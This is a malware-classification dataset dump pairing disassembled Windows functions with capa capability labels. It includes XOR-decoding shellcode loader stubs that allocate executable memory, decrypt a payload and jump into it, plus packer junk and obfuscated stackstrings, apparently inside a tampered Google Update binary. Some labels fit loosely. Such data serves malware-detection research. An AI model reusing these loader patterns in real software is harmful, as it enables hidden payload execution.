joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x401c66
pop dword [ebp - 0x48]
mov eax, 0x98a24e39
add eax, 0x679dce2d
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x115cd9d2
add dword [ebp - 0x58], 0x3cf56b79
mov dword [ebp - 0x54], 0x72815b40
sub dword [ebp - 0x54], 0x404e0efb
mov dword [ebp - 0x50], 0xa2c0c382
add dword [ebp - 0x50], 0xa98b80ac
mov dword [ebp - 0x4c], 0x5daffb6e
add dword [ebp - 0x4c], 0xa2500492
lea eax, [ebp - 0x58]
push eax
mov eax, 0x8b401449
sub eax, 0x8affe3f5
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x4ed6b50f
add dword [ebp - 0x58], 0x259bb447
mov dword [ebp - 0x54], 0xda29309c
sub dword [ebp - 0x54], 0x98bccf27
mov dword [ebp - 0x50], 0x410c6aea
add dword [ebp - 0x50], 0x22630182
mov dword [ebp - 0x4c], 0x23cb1482
sub dword [ebp - 0x4c], 0x23cb1482
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xde0aa08f
add eax, 0x22358f9d
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3325e
push 0
call eax
mov ecx, 0xea5c4841
sub ecx, 0xea5c0d96
mov esi, eax
mov edi, 0x8816e60d
sub edi, 0x87d6760d
add edi, dword [ebp - 0x48]
mov ebx, 0x9bf43aa
mov edx, dword [edi]
xor dword [ebp - 0x10], edx
xor edx, ebx
sub dword [ebp - 0x3c], eax
mov dword [esi], edx
xor dword [ebp - 8], edx
add esi, 0xbaf3930a
add esi, 0x450c6cfa
add edi, 4
loop 0x401d82
add eax, 0x9260e868
sub eax, 0x92600ae9
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xaf16eea1
sub ecx, 0xaed6eea1
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x401000
Capabilities:
Packed with generic packer

Disassembly:
mov eax, 0x9b90d4
push eax
push dword fs:[0]
nop
wait
add byte [eax + 0x64], dl
push dword [0]
mov dword fs:[0], esp
xor eax, eax
mov dword [eax], ecx
push eax
inc ebp
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x401080
arpl word [edx + esi], si
adc ebx, dword [edi - 0x54]
xchg ebx, eax
neg dl
push cs
dec ecx
mov eax, 0x7fb97088
add ah, ah
aam 0xeb
jp 0x40109d
mov byte [eax - 0x47], dh
jg 0x401033
in al, 0xd4
jmp 0x4010af
test eax, 0xcf33638c
adc ch, bl
js 0x400fd0
sbb ch, ah
daa
stosd dword es:[edi], eax
mov dword [0x540fb128], eax
xchg edi, eax
inc ecx
and dword [esi + esi*8 - 0x78], ebp
rcr byte [eax - 0x2e], 0xa4
sti
push ss
scasd eax, dword es:[edi]
jne 0x40108b
jl 0x40102c
salc
pushal
jbe 0x401085
daa
xchg esp, eax
lcall 0xa4e8, 0x1020bb2d
push eax
in eax, dx
xor bl, ah
sti
bnd jg 0x401002
popal
lea ebp, [edx - 0x70bb56c6]
push ds
pop ss
cmp dword [eax + ebx*8 + 0x46], eax
and byte [eax - 0x702274c0], al
pop eax
test al, 0xc5
fisttp qword [edi + 0x3dc5a858]
lahf
mov ah, 0xc2
sub ecx, dword [0x6e1df55c]
cmp eax, 0x2bc2b49f
or eax, 0x6e1df55c
pop esp
cmc
sbb eax, 0x97530b6e
or edx, dword [ebx - 0x69]
in al, 0x34
sub dword [ebx], esp
jge 0x401055
ja 0x4010fe
fld xword [esi - 7]
or al, 0xb7
dec edx
mov ch, 0xfc
outsd dx, dword [esi]
jns 0x4010cd
fcom qword [eax - 0x69d98623]
retf 0x41f8
and ecx, eax
hlt
int1
push 0xffffffffffffffc2
cmp dh, byte [edx + 0xc64b3b4]
inc edx
stosd dword es:[edi], eax
adc eax, 0xa48720e9
jl 0x40108d
hlt
push 0xffffffffffffff9c
pushfd
retf
Function at 0x40359e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x4035ad
pop dword [ebp - 0x3c]
mov eax, 0x237d77ab
add eax, 0xdcc2be02
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x27974875
sub dword [ebp - 0x4c], 0xd945032a
mov dword [ebp - 0x48], 0x1f78cef
add dword [ebp - 0x48], 0x303bbf56
mov dword [ebp - 0x44], 0x6fc359b0
sub dword [ebp - 0x44], 0x23771582
mov dword [ebp - 0x40], 0x3df0cf49
sub dword [ebp - 0x40], 0x3df0cf49
lea eax, [ebp - 0x4c]
push eax
mov eax, 0xa05eaa26
add eax, 0x5fe1c5f6
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xa8ef1b46
sub dword [ebp - 0x4c], 0x347cb1f0
mov dword [ebp - 0x48], 0xee269d95
add dword [ebp - 0x48], 0x5345c3e0
mov dword [ebp - 0x44], 0x7a3a250a
sub dword [ebp - 0x44], 0x16cab89e
mov dword [ebp - 0x40], 0xb2a3c367
add dword [ebp - 0x40], 0x4d5c3c99
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xaa0172b0
sub eax, 0xa9c10290
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x35392
push 0
call eax
mov ecx, 0x2c7a4743
add ecx, 0xd385f6be
mov edi, eax
mov ebx, 0x6507aa7c
sub ebx, 0x64c6e27c
add ebx, dword [ebp - 0x3c]
mov edx, 0x28b809d1
sub edx, 0x9803c717
sub dword [ebp - 0x20], 0xae989e11
mov esi, dword [ebx]
xor dword [ebp - 0x34], 0x1e486446
sub esi, edx
mov dword [ebp - 0x2c], 0xd4e83978
mov dword [edi], esi
sub dword [ebp - 0x18], 0x1e858877
add edi, 4
add ebx, 0xedad67bf
sub ebx, 0xedad67bb
loop 0x4036cf
add eax, 0xead7
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x4045f7
Capabilities:
Check if file exists

Disassembly:
push 0x1c
mov eax, 0x406af3
call fcn.004054fb
cmp dword [0x40a010], 0
mov esi, dword [ebp + 8]
jne 0x404616
mov al, 1
jmp 0x4046e2
test esi, esi
je 0x4046e0
xor ebx, ebx
cmp word [esi], bx
je 0x4046e0
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4046e0
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsRelativeW]
test eax, eax
jne 0x4046e0
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.0040359e
pop ecx
pop ecx
mov esi, dword [0x40a010]
xor edi, edi
inc edi
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], ebx
je 0x4046d1
lea eax, [ebp - 0x28]
push eax
call fcn.0040359e
pop ecx
test al, al
jne 0x4046d1
cmp dword [ebp - 0x18], esi
jbe 0x4046d1
cmp dword [0x40a014], 8
lea eax, [ebp - 0x28]
mov ecx, section..data
cmovae ecx, dword [section..data]
cmp dword [ebp - 0x14], 8
push esi
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x4046d1
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
test eax, eax
je 0x4046d1
push 0x4075c8
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
movzx ebx, bl
pop ecx
pop ecx
cmovne ebx, edi
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], edi
call fcn.0040359e
mov al, bl
jmp 0x4046e2
xor al, al
call fcn.004054b6
ret
Function at 0x4201eb
Capabilities:
Contain obfuscated stackstrings

Disassembly:
dec edx
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.0041fdab
push eax
push esi
push dword [ebp + 8]
call fcn.0041fd60
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.0041fd9b
lodsd eax, dword [esi]
sbb bl, dl
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.0041fd9b
mov edi, dword [ebp - 0x6d]
Function at 0x18005ec8
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 8], 0
jne 0x18005f49
mov byte [esi + 8], 1
call fcn.1808ca42
cmp dword [esi + 0x10], 0
je 0x18005f49
test al, al
je 0x18005ee8
mov byte [esi + 0xa], 1
mov ecx, esi
call fcn.18006587
test al, al
jne 0x18005f0f
push dword [esi + 0xc]
push dword [esi + 0x1c]
push str.LOG_SYSTEM:___s_:_Could_not_acquire_logging_mutex__s_n
call fcn.1800b1a8
add esp, 0xc
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
pop esi
ret
mov ecx, esi
call fcn.1808ca42
cmp dword [esi + 0x18], 0
jne 0x18005f36
push dword [esi + 0x14]
push dword [esi + 0x1c]
push str.LOG_SYSTEM:___s_:_Could_not_create_logging_file__s_n
call fcn.1800b1a8
add esp, 0xc
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
cmp dword [esi + 0x10], 0
mov byte [esi + 9], 1
je 0x18005f49
push dword [esi + 0x10]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
pop esi
ret

Function at 0x18006587
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x10], 0
jne 0x18006594
xor al, al
pop esi
ret
push 0x1f4
push dword [esi + 0x10]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x180065cd
cmp eax, 0x80
je 0x180065cd
push dword [esi + 0xc]
push dword [esi + 0x1c]
push str.LOG_SYSTEM:___s_:_Could_not_acquire_logging_mutex__s_n
call fcn.1800b1a8
add esp, 0xc
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov byte [esi + 9], 0
jmp 0x18006590
mov al, 1
pop esi
ret

Function at 0x18006f28
Capabilities:
Compare security identifiers

Disassembly:
push ebx
push esi
lea ebx, [ecx + 4]
push edi
mov edi, edx
test ebx, ebx
je 0x18006f5e
lea esi, [edi + 4]
test esi, esi
je 0x18006f5e
call fcn.180044de
test al, al
je 0x18006f5e
mov ecx, edi
call fcn.180044de
test al, al
je 0x18006f5e
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
setne al
jmp 0x18006f60
xor al, al
pop edi
pop esi
pop ebx
ret

Function at 0x18009251
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push esi
push edi
push str.Global_MSIExecute
xor edi, edi
push edi
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexW]
mov esi, eax
test esi, esi
jne 0x18009286
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
je 0x180092c7
test eax, eax
jle 0x180092b5
movzx edi, ax
or edi, 0x80070000
jmp 0x180092c7
push 0x493e0
push esi
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x180092c0
cmp eax, 0x80
je 0x180092c0
cmp eax, 0x102
je 0x180092b9
cmp eax, 0xffffffff
je 0x180092b0
mov edi, 0x80004005
jmp 0x180092c7
call fcn.18012ae1
mov edi, eax
jmp 0x180092c7
mov edi, 0x800705b4
jmp 0x180092c7
push esi
call dword [sym.imp.kernel32.dll_ReleaseMutex]
test esi, esi
je 0x180092d2
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
ret
Function at 0x18012b1f
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebx
push edi
mov edi, ecx
push edi
call dword [sym.imp.kernel32.dll_lstrlenW]
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x18012b8e
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
lea ebx, [ebx*2 + 2]
push ebx
push 0x2002
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov esi, eax
push esi
call dword [sym.imp.kernel32.dll_GlobalLock]
test eax, eax
je 0x18012b6a
push ebx
push edi
push eax
call fcn.18140600
add esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_GlobalUnlock]
push esi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
jne 0x18012b85
push esi
call dword [sym.imp.kernel32.dll_GlobalFree]
pop esi
pop edi
pop ebx
jmp dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebx
ret

Function at 0x1801cdca
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x1c]
and dword [esi + 0x1c], 0
test ecx, ecx
je 0x1801cdde
mov eax, dword [ecx]
push 1
call dword [eax]
push 0
lea ecx, [esi + 0x18]
call fcn.1808ca42
mov ecx, dword [0x181c07a8]
pop esi
mov ecx, dword [ecx]
jmp fcn.180160a0
Function at 0x1803186f
Capabilities:
Parse credit card information

Disassembly:
push ecx
push ebx
push esi
mov esi, ecx
xor cl, cl
mov eax, dword [esi + 0x4c]
cmp eax, 0xffffffff
je 0x180319c2
mov edx, 0x10000000
cmp eax, 0x7c
je 0x180319c2
cmp eax, 0x29
jne 0x180318a8
cmp dword [esi + 0x10], 0
jne 0x180319c2
test dword [esi + 0x50], edx
je 0x180319c8
cmp eax, 0x2e
jne 0x180318c3
push 5
lea ecx, [esi + 0x24]
call fcn.1808ca42
mov ecx, esi
call fcn.18031846
jmp 0x180319ac
cmp eax, 0x5c
jne 0x18031918
mov ecx, esi
call fcn.18031846
test byte [esi + 0x50], 0x80
je 0x1803190c
movzx eax, word [esi + 0x48]
cmp eax, 0x62
jne 0x180318f4
push 4
lea ecx, [esi + 0x24]
call fcn.1808ca42
mov ecx, esi
call fcn.18031846
jmp 0x180319b3
cmp eax, 0x42
jne 0x1803190c
push 4
lea ecx, [esi + 0x24]
call fcn.1808ca42
mov eax, dword [esi + 0x28]
xor dword [eax + 8], 1
jmp 0x180318e8
mov ecx, esi
call fcn.180325c9
jmp 0x180319ac
cmp eax, 0x5b
jne 0x18031938
mov ecx, esi
call fcn.18031846
mov ecx, esi
call fcn.1803257d
cmp dword [esi + 0x4c], 0x5d
je 0x180318b7
push 4
jmp 0x180319ca
cmp eax, 0x28
jne 0x18031955
mov ecx, esi
call fcn.18031846
mov ecx, esi
call fcn.180326a2
cmp dword [esi + 0x4c], 0x29
mov bl, al
jne 0x180319c8
jmp 0x180319a1
cmp eax, 0x5e
jne 0x1803195e
push 2
jmp 0x180318e0
cmp eax, 0x24
jne 0x1803196a
push 3
jmp 0x180318e0
cmp eax, 0x2a
je 0x180319be
cmp eax, 0x2b
je 0x180319be
cmp eax, 0x3f
je 0x180319be
cmp eax, 0x7b
je 0x180319be
cmp eax, 0x7d
jne 0x18031988
test dword [esi + 0x50], edx
je 0x180319ba
cmp eax, 0x5d
jne 0x18031992
test dword [esi + 0x50], edx
je 0x18031931
movzx eax, word [esi + 0x48]
lea ecx, [esi + 0x24]
push eax
call fcn.1808ca42
mov bl, 1
mov ecx, esi
call fcn.18031846
test bl, bl
je 0x180319b3
mov ecx, esi
call fcn.1808ca42
mov cl, 1
jmp 0x18031876
push 6
jmp 0x180319ca
push 0xa
jmp 0x180319ca
pop esi
mov al, cl
pop ebx
pop ecx
ret
push 5
call fcn.1808ca42
int3

Function at 0x1803da90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
push 2
xor edi, edi
push edi
push dword [ecx]
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
je 0x1803dad3
push str.GOOGLEUPDATEAPPLICATIONCOMMANDS
push 1
push esi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x1803dad3
push ebx
push esi
call dword [sym.imp.kernel32.dll_SizeofResource]
cmp eax, 4
jne 0x1803db01
push ebx
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
jne 0x1803daea
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
test edi, edi
jle 0x1803db06
movzx edi, di
or edi, 0x80070000
jmp 0x1803db06
push eax
call dword [sym.imp.kernel32.dll_LockResource]
test eax, eax
jne 0x1803dafc
mov edi, 0x80070006
jmp 0x1803db06
cmp dword [eax], 1
je 0x1803db06
mov edi, 0x8000ffff
test esi, esi
je 0x1803db11
push esi
call dword [sym.imp.kernel32.dll_FreeLibrary]
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x18081df3
Capabilities:
Inspect section memory permissions

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi + 8]
mov ebx, dword [edi]
test bl, bl
je 0x18081e68
test bl, 1
je 0x18081e0e
lea ecx, [esi + 0x14]
call fcn.1804fc74
test bl, 2
je 0x18081e1b
mov ecx, dword [esi + 0x18]
call fcn.18056c8b
test bl, 4
je 0x18081e28
mov ecx, dword [esi + 0x1c]
call fcn.180d29b0
test bl, 8
je 0x18081e35
mov ecx, dword [esi + 0x20]
call fcn.1808ca42
test bl, 0x10
je 0x18081e42
mov ecx, dword [esi + 0x24]
call fcn.1805d433
test bl, 0x20
je 0x18081e4f
mov ecx, dword [esi + 0x28]
call fcn.1805d433
test bl, 0x40
je 0x18081e5c
mov ecx, dword [esi + 0x2c]
call fcn.180730e9
test bl, bl
jns 0x18081e68
mov ecx, dword [esi + 0x30]
call fcn.180d29b0
test ebx, 0xff00
je 0x18081ef4
test ebx, 0x100
je 0x18081e84
mov ecx, dword [esi + 0x34]
call fcn.1805581d
test ebx, 0x200
je 0x18081e94
mov ecx, dword [esi + 0x38]
call fcn.1807376b
test ebx, 0x400
je 0x18081ea4
mov ecx, dword [esi + 0x3c]
call fcn.18074298
test ebx, 0x800
je 0x18081eb4
mov ecx, dword [esi + 0x40]
call fcn.18074298
test ebx, 0x1000
je 0x18081ec4
mov ecx, dword [esi + 0x44]
call fcn.1808ca42
test ebx, 0x2000
je 0x18081ed4
mov ecx, dword [esi + 0x48]
call fcn.180551ff
test ebx, 0x4000
je 0x18081ee4
mov ecx, dword [esi + 0x4c]
call fcn.180551ff
test ebx, 0x8000
je 0x18081ef4
mov ecx, dword [esi + 0x50]
call fcn.180d29b0
test ebx, 0xff0000
je 0x18081f80
test ebx, 0x10000
je 0x18081f10
mov ecx, dword [esi + 0x54]
call fcn.180d29b0
test ebx, 0x20000
je 0x18081f20
mov ecx, dword [esi + 0x58]
call fcn.18076c08
test ebx, 0x40000
je 0x18081f30
mov ecx, dword [esi + 0x5c]
call fcn.180d29b0
test ebx, 0x80000
je 0x18081f40
mov ecx, dword [esi + 0x60]
call fcn.1808ca42
test ebx, 0x100000
je 0x18081f50
mov ecx, dword [esi + 0x64]
call fcn.1805581d
test ebx, 0x200000
je 0x18081f60
mov ecx, dword [esi + 0x68]
call fcn.180d29b0
test ebx, 0x400000
je 0x18081f70
mov ecx, dword [esi + 0x6c]
call fcn.180d29b0
test ebx, 0x800000
je 0x18081f80
mov ecx, dword [esi + 0x70]
call fcn.180d29b0
test ebx, 0xff000000
je 0x18082017
test ebx, 0x1000000
je 0x18081f9c
mov ecx, dword [esi + 0x74]
call fcn.18073ce6
test ebx, 0x2000000
je 0x18081fac
mov ecx, dword [esi + 0x78]
call fcn.180d29b0
test ebx, 0x4000000
je 0x18081fbc
mov ecx, dword [esi + 0x7c]
call fcn.1805d433
test ebx, 0x8000000
je 0x18081fcf
mov ecx, dword [esi + 0x80]
call fcn.1805ad79
test ebx, 0x10000000
je 0x18081fe2
mov ecx, dword [esi + 0x84]
call fcn.180770e7
test ebx, 0x20000000
je 0x18081ff5
mov ecx, dword [esi + 0x88]
call fcn.180d29b0
test ebx, 0x40000000
je 0x18082008
mov ecx, dword [esi + 0x8c]
call fcn.1807f075
test ebx, ebx
jns 0x18082017
mov ecx, dword [esi + 0x90]
call fcn.18056923
test byte [esi + 0xc], 1
je 0x18082028
mov ecx, dword [esi + 0x94]
call fcn.1807224e
push 8
push 0
push edi
call fcn.1813fd80
add esp, 0xc
lea ecx, [esi + 4]
test byte [ecx], 1
pop edi
pop esi
pop ebx
jne fcn.18087617
ret
Function at 0x1808ca42
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x1808ca51
pop dword [ebp - 0x2c]
mov eax, 0xe3ed51c3
add eax, 0x341b788e
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0xc8e87
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0xbae75594
add ecx, 0x4518f495
mov edi, eax
mov edx, 0xabefcf47
sub edx, 0x93d1a947
add edx, dword [ebp - 0x2c]
mov esi, 0x9b4832cc
sub esi, 0x711eee32
add dword [ebp - 0x20], edi
mov ebx, dword [edx]
mov dword [ebp - 0x14], 0x6059bf46
xor ebx, esi
mov dword [edi], ebx
xor dword [ebp - 8], 0x74b72267
add edi, 0xfc0f894d
sub edi, 0xfc0f8949
add edx, 4
loop 0x1808caab
add eax, 0x11b77
xor ebx, ebx
add ebx, eax
add eax, 0xfbecf76f
sub eax, 0xfbecf76a
mov ecx, 0x44beb9e8
sub ecx, 0x2cbeb9e8
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x180a2ae7
Capabilities:
Check mutex on windows

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
push dword [edi + 4]
push ebx
push ebx
call dword [sym.imp.kernel32.dll_CreateMutexW]
mov esi, eax
mov eax, dword [edi + 8]
cmp eax, esi
je 0x180a2b12
test eax, eax
je 0x180a2b0d
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov dword [edi + 8], esi
mov eax, esi
test eax, eax
je 0x180a2b24
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
setne bl
pop edi
pop esi
mov al, bl
pop ebx
ret

Function at 0x180b4a3a
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x181ba008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0x200
lea eax, [ebp - 0x204]
push 0
push eax
call fcn.1813fd80
add esp, 0xc
mov dword [ebp - 0x20c], 0x100
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x204]
push eax
push 3
call dword [sym.imp.kernel32.dll_GetComputerNameExW]
xor ebx, ebx
inc ebx
test eax, eax
je 0x180b4aa1
push ebx
mov edx, str..google.com
lea ecx, [ebp - 0x204]
call fcn.1808ca42
pop ecx
test al, al
jne 0x180b4ae6
and dword [ebp - 0x208], 0
lea eax, [ebp - 0x208]
push esi
push eax
push 0x64
push 0
call dword [sym.imp.NETAPI32.dll_NetWkstaGetInfo]
mov esi, dword [ebp - 0x208]
test eax, eax
jne 0x180b4adc
cmp dword [esi + 8], eax
je 0x180b4adc
push str.google
push dword [esi + 8]
call fcn.1808ca42
pop ecx
pop ecx
test eax, eax
je 0x180b4ade
xor bl, bl
push esi
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
pop esi
mov ecx, dword [ebp - 4]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.1813d268
leave
ret
Function at 0x180b95eb
Capabilities:
Identify system language via api

Disassembly:
push ebx
mov ebx, ecx
push esi
test dl, dl
je 0x180b95fb
call dword [sym.imp.kernel32.dll_GetSystemDefaultLangID]
jmp 0x180b9601
call dword [sym.imp.kernel32.dll_GetUserDefaultLangID]
xor edx, edx
movzx esi, ax
mov ecx, 0x409
push edi
mov edi, edx
mov eax, ecx
cmp si, ax
je 0x180b9629
inc edi
imul eax, edi, 0x1a
movzx eax, word [eax + 0x1818d4f0]
test ax, ax
jne 0x180b9610
mov esi, ecx
jmp 0x180b962c
movzx esi, si
pop edi
cmp cx, si
je 0x180b9649
inc edx
imul eax, edx, 0x1a
movzx ecx, word [eax + 0x1818d4f0]
test cx, cx
jne 0x180b962d
mov eax, 0x18175bfc
jmp 0x180b9651
imul eax, edx, 0x1a
add eax, 0x1818d4f2
push eax
mov ecx, ebx
call fcn.1808ca42
pop esi
mov eax, ebx
pop ebx
ret

Function at 0x180c62b3
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, ecx
lea ecx, [esi + 8]
mov eax, dword [ecx]
call dword [eax + 0xc]
test eax, eax
jg 0x180c616f
movzx ecx, byte [0x181c21ae]
neg ecx
sbb ecx, ecx
and ecx, 0x181c1480
je 0x180c614a
push 7
pop edx
xor eax, eax
mov dword [ebp - 0x10], ecx
inc eax
mov dword [ebp - 0xc], edx
push eax
push edx
mov dword [ebp - 8], eax
call fcn.1808ca42
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push str._Google_Update_core_is_shutting_down..._
push eax
call fcn.1808ca42
pop ecx
pop ecx
push 0
push 0
push 0x12
push dword [esi + 0x4c]
call dword [sym.imp.USER32.dll_PostThreadMessageW]
test eax, eax
jne 0x180c616f
push 0x80004004
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
xor eax, eax
pop esi
leave
ret
push esi
mov esi, ecx
call fcn.1808ca42
mov ecx, esi
pop esi
test al, al
je 0x180c60f9
jmp fcn.180c62cb